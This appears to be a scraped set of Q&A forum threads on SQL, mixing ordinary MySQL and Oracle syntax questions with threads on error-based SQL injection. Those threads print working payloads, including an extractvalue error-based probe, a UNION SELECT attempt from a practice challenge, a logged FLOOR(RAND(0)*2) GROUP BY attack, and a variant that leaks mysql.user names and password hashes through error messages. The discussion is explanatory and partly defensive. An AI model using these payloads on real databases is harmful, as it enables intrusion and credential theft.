I was attempting an error-based sql injection when I discovered a weird behavior that I can't explain. Here is a simple example:
SELECT * FROM users WHERE username = '' union SELECT extractvalue(rand(),concat(0x3a,(SELECT 1)));
Output: ERROR 1105 (HY000): XPATH syntax error: ':1'
But...
SELECT * FROM users WHERE username = '' union SELECT extractvalue(rand(),concat(0x3a,(SELECT 1 FROM users)));
Output: ERROR 1222 (21000): The used SELECT statements have a different number of columns
Now the second result is expected, because my users table have 3 columns. The first example is the one I don't understand.
Tested on 5.7.23-0ubuntu0.16.04.1
From what I could tell from messing around with it, because you are using a subquery, the expression is being evaluated in a different order. If you do this:
SELECT some_col FROM users WHERE username = '' union SELECT extractvalue(rand(),concat(0x3a,(SELECT 1 FROM users LIMIT 1)));
Essentially resolving the "different number of columns" exception, I think you'll get the same error as the first line again. At least in my testing, that's what happened. I guess it has to do with when the subquery is evaluated, cause that has to happen before the extractvalue() call can be completed.
I'm also pretty sure mysql doesn't read "SELECT 1" as a subquery, but rather probably just discards the "SELECT" entirely.
Related
I am getting a PHP warning when running a query in phpMyAdmin that includes both parentheses and a LIMIT statement. For example:
(SELECT * FROM tableA LIMIT 1)
The warning is:
A non-numeric value encountered
I am using PHP version 7.2 and MySQL 5.6.42 and phpMyAdmin version 4.9.0.1
What might cause this warning?
EDIT:
My issue is not a duplicate of this, because no matter which column or table I use, I get the same warning
EDIT2:
Because people asked for an actual UNION query:
(SELECT name FROM tableA LIMIT 1)
UNION
(SELECT name FROM tableB LIMIT 1)
This was the scenario I encountered the warning.
What is the difference between these two MySQL statements?
Works:
select *, count(mycol) c from mytable group by mycol;
Doesn't work:
select count(mycol) c, * from mytable group by mycol;
The first statement works as I'd expect, while the second one gives me a syntax error. Why does the order matter?
I'm having trouble finding an answer from Google, because I'm not entirely sure if I'm asking the question correctly.
Edit:
Here's the sanitized error message. I'm using MySQL Workbench, if that's relevant.
Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '* from mytable group by id' at line 1
Just alias the table and the syntax error will go away.
select count(t.id) c, t.* from mytable t group by id;
See this db fiddle.
It looks like MySQL allows bare (unqualified) * only as immediatly following SELECT. The following query also raises a syntax error :
select 1, * from mytable t;
The documentation prevents against using bare * combined with other items in the SELECT list :
A select list consisting only of a single unqualified * can be used as shorthand to select all columns from all tables.
Use of an unqualified * with other items in the select list may produce a parse error. To avoid this problem, use a qualified tbl_name.* reference.
I am executing the below query in SQL Developer.
SELECT * FROM Person where person_name='rahul' order by created_time desc limit 10;
When I execute it, SQL Developer gives me below error.
ORA-00933: SQL command not properly ended
00933. 00000 - "SQL command not properly ended"
*Cause:
*Action:
I used the below link for reference.
https://www.techonthenet.com/sql/select_limit.php
I already tried
SELECT * FROM Person where person_name='rahul' order by created_time desc OFFSET 5 ROWS FETCH NEXT 10 ROWS ONLY;
ORA-00933: SQL command not properly ended
00933. 00000 - "SQL command not properly ended"
*Cause:
*Action:
Error at Line: 1 Column: 75
Note that OFFSET is not treated as keyword.
Yes, that' cause Oracle don't have or support limit clause and thus you are getting ORA-00933 error. Rather, use FETCH .. OFFSET construct like
SELECT * FROM Person
where person_name='rahul'
order by created_time desc
OFFSET 0 ROWS FETCH NEXT 10 ROWS ONLY;
There are lot many similar question in StackOverflow. Should have tried searching the same. Example this one: How do I limit the number of rows returned by an Oracle query after ordering?
I have resolved the issue by using the below query.
SELECT * FROM Person where person_name='rahul' and rownum between 1 and 2 order by created_time desc;
If you get
ORA-00933: SQL command not properly ended
00933. 00000 - "SQL command not properly ended"
*Cause:
*Action:
It is probably because you aren't running Oracle 12. In that case, there are some workarounds, all involving subqueries and most sloppy. I used
select * from
( select column_name, ROWNUM rnum from
( select * from table_name)
where ROWNUM <= max_row )
where rnum >= min_row order by column_name;
So I am doing a little sql injection challenge because I wanted to learn about it and I have a question. I type 'hi' into the HTML form and I get this back as a response
Error: The following error occurred: [near "hi": syntax error]
Query: SELECT * FROM personnel WHERE name=''hi''
The information we need to get is located in a table called users. I was looking at sql and I see here the union operator which combines the results of 2+ select statements.
So, I try this as input: 1 UNION SELECT * FROM users and I get nothing back so it looks like it searched from that input as a name in table personnel. I thought this would work because the query would look like: SELECT * FROM personnel WHERE name=1 UNION SELECT * FROM users. Am I not understanding how the union operator works or is something else wrong in my input
This one:
set #hi = "'hi'";
select #hi;
SELECT * FROM personnel WHERE name="'hi'"
Simulate:
insert into personnel (`name`) values("'hi'");
insert into personnel (`name`) values("'hello'");
select * from personnel where `name` != "'hi'"
-- you can't use a double '' in sql query
Query: SELECT * FROM personnel WHERE name='hi'
Probably the SQL is invalid because personnel and users have different shape. You need to inject something that is identical to the initial select.
Also your entire problem goes away if you have parameterised queries instead of concatenating into SQL.
I have detected some failed SQL injection attacks on my website.
The failed queries are of the form:
SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM
information_schema.tables GROUP BY x)
The ':sjw:1:ukt:1' part is specially constructed with variables concatenated together to give random 0s or 1s etc.
I would like to know what these queries do?
The database is MySQL.
Update: Here is the original injected SQL:
(SELECT 6106
FROM (SELECT COUNT(*),
CONCAT(
CHAR(58, 115, 106, 119, 58),
(SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )),
CHAR(58, 117, 107, 116, 58),
FLOOR(RAND(0) * 2)
) x
FROM INFORMATION_SCHEMA.TABLES
GROUP BY x)a)
It fails with message
Duplicate entry ':sjw:1:ukt:1' for key 'group_key'
What the attack really does
There is a subtle but clever detail about this attack that other answerers missed. Notice the error message Duplicate entry ':sjw:1:ukt:1' for key 'group_key'. The string :sjw:1:ukt:1 is actually the result of an expression evaluated by your MySQL server. If your application sends the MySQL error string back to the browser, then the error message can leak data from your database.
This kind of attack is used in cases where the query result isn't otherwise sent back to the browser (blind SQL injection), or when a classical UNION SELECT attack is complicated to pull off. It also works in INSERT/UPDATE/DELETE queries.
As Hawili notes, the original particular query wasn't supposed leak any information, it was just a test to see whether your application is vulnerable to this kind of injection.
The attack didn't fail like MvG suggested, causing this error is the purpose of the query.
A better example of how this may be used:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
> 0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
Why the error is raised
Why the query causes this error in MySQL is somewhat of a mystery for me. It looks like a MySQL bug, since GROUP BY is supposed to deal with duplicate entries by aggregating them. Hawili's simplification of the query doesn't, in fact, cause the error!
The expression FLOOR(RAND(0)*2) gives the following results in order, based on the random seed argument 0:
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...
Because the 3rd value is a duplicate of the 2nd, this error is thrown. Any FROM table with at least 3 rows can be used, but information_schema.tables is a common one. The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL:
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
This error doesn't occur in the PostgreSQL-equivalent query:
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
count | x
-------+---
83 | 0
90 | 1
(Sorry about answering 1 year late, but I just stumbled upon this today. This question is interesting to me because I wasn't aware there are ways to leak data via error messages from MySQL)
Executing the parenthesized subquery will give you the number of tables in your system. I guess the main aim might be to create queries and see where in the generated HTML the output appears. Thus the random string. The outer SELECT is invalid, as its subquery doesn't have an alias name. So I assume that this incorrectness was the cause this attack failed. They might have been trying to see what syntactic constructs they can inject and which will break the query.
Select will just output the number, so the answer is always 6106 in your case
SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x
should give a different answer, it will give count of tables in system plus the random text inserted under name x, thats all
In short its a meaningless query, the result for the internal query is never shown, the result of the whole query is predetermined , seems the injection is somehow automated to log the attack using this strange way